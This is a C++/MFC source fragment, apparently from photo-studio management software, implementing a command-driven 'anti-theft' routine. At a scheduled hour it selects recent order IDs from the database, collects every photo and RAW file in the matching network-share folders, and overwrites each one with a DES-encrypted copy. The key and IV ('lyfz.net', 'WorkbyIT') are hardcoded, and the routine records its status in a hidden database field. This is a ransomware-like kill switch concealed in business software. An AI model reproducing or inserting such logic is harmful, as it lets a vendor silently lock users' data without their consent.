  757. CTime curTime = CTime::GetCurrentTime();
  758. if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
  759. {
  760. try
  761. {
  762. DWORD dwIndex = 0;
  763. CRecordset tagRst(pMaindb);
  764. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  765. tagRst.Open(CRecordset::forwardOnly, strSQL);
  766. CStringArray AryOrder;
  767. while ( !tagRst.IsEOF() )
  768. {
  769. tagRst.GetFieldValue(_T("id"), strSQL);
  770. tagRst.MoveNext();
  771. ++dwIndex;
  772. AryOrder.Add(strSQL);
  773. it->vtOrders.push_back(strSQL.GetString());
  774. if ( dwIndex == it->nCount)
  775. break;
  776. }
  777. tagRst.Close();
  778. // 查找文件(多目录共享的情况);
  779. TblNetShareInfo *pNetShareInfo = NULL;
  780. CStringArray AryShareDirectory;
  781. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  782. {
  783. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  784. {
  785. AryShareDirectory.Add((*it_share)->szShareDirectory);
  786. }
  787. }
  788. // 找出所有文件;
  789. filehelpImpl ff;
  790. STR_VEC vtFiles;
  791. TString strDirctory;
  792. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  793. {
  794. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  795. {
  796. strDirctory = AryShareDirectory.ElementAt(j);
  797. strDirctory.append(_T("\\"));
  798. strDirctory.append(AryOrder.ElementAt(i));
  799. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  800. }
  801. }
  802. BYTE szKey[MAX_PATH] = "lyfz.net";
  803. BYTE szVI[MAX_PATH] = "WorkbyIT";
  804. // 计时;
  805. // 对找到的所有文件进行加密;
  806. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  807. {
  808. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  809. }
  810. }
  811. catch (CDBException* e)
  812. {
  813. #ifdef _DEBUG
  814. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  815. #endif
  816. }
  817. it->bExecStatus = TRUE;
  818. }
  819. }
  820. }
  821. }
  822. }
  823. // 再重组Json,并更新;
  824. pJson = cJSON_CreateObject();
  825. cJSON_AddStringToObject(pJson, "cmd-guid", stDetail.strCmdGuid);
  826. cJSON_AddBoolToObject(pJson, "SQL-Opt", stDetail.bSQLOpt);
  827. cJSON_AddBoolToObject(pJson, "Data-Opt", stDetail.bSQLOpt);
  828. cJSON *pSQLArry = cJSON_CreateArray();
  829. cJSON_AddItemToObject(pJson, "SQL-Ary",pSQLArry);
  830. pAryItem = NULL;
  831. for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
  832. {
  833. pAryItem = cJSON_CreateObject();
  834. cJSON_AddStringToObject(pAryItem, "Statement", it->strStatement.GetString());
  835. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime.GetString());
  836. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  837. cJSON_AddItemToArray(pSQLArry, pAryItem);
  838. }
  839. pSQLArry = cJSON_CreateArray();
  840. cJSON_AddItemToObject(pJson, "Data-Ary",pSQLArry);
  841. pAryItem = NULL;
  842. for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
  843. {
  844. DATAOpt opt = *it;
  845. pAryItem = cJSON_CreateObject();
  846. cJSON_AddNumberToObject(pAryItem, "Type", it->nType); // 未选, 未取;
  847. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime);
  848. cJSON_AddNumberToObject(pAryItem, "Count", it->nCount);
  849. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  850. cJSON_AddItemToArray(pSQLArry, pAryItem);
  851. cJSON *pAryOrder = cJSON_CreateArray();
  852. cJSON_AddItemToObject(pAryItem, "Order-Ary",pAryOrder);
  853. for (STR_VEC::iterator it_order = it->vtOrders.begin(); it_order != it->vtOrders.end(); it_order++ )
  854. {
  855. pAryItem = cJSON_CreateObject();
  856. cJSON_AddStringToObject(pAryItem, "order", it_order->c_str());
  857. cJSON_AddItemToArray(pAryOrder, pAryItem);
  858. }
  859. }
  860. char *out = cJSON_Print(pJson);
  861. #ifdef _DEBUG
  862. WriteTextLog(_T("Json:%s"), out);
  863. #endif
  864. g_strAntiTheftInfo = out;
  865. delete []out;
  866. cJSON_Delete(pJson);
  867. des_crypt(g_strAntiTheftInfo, g_strAntiTheftInfo, DES_ENCRYPT);
  868. strSQL.Format(_T("update version set reverse5 = '%s'"), g_strAntiTheftInfo);
  869. try
  870. {
  871. pMaindb->ExecuteSQL(strSQL);
  872. }
  873. catch (CDBException* e)
  874. {
  875. #ifdef _DEBUG
  876. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  877. #endif
  878. }
  879. Sleep(1000);
  880. }
  881. return 0L;
  882. }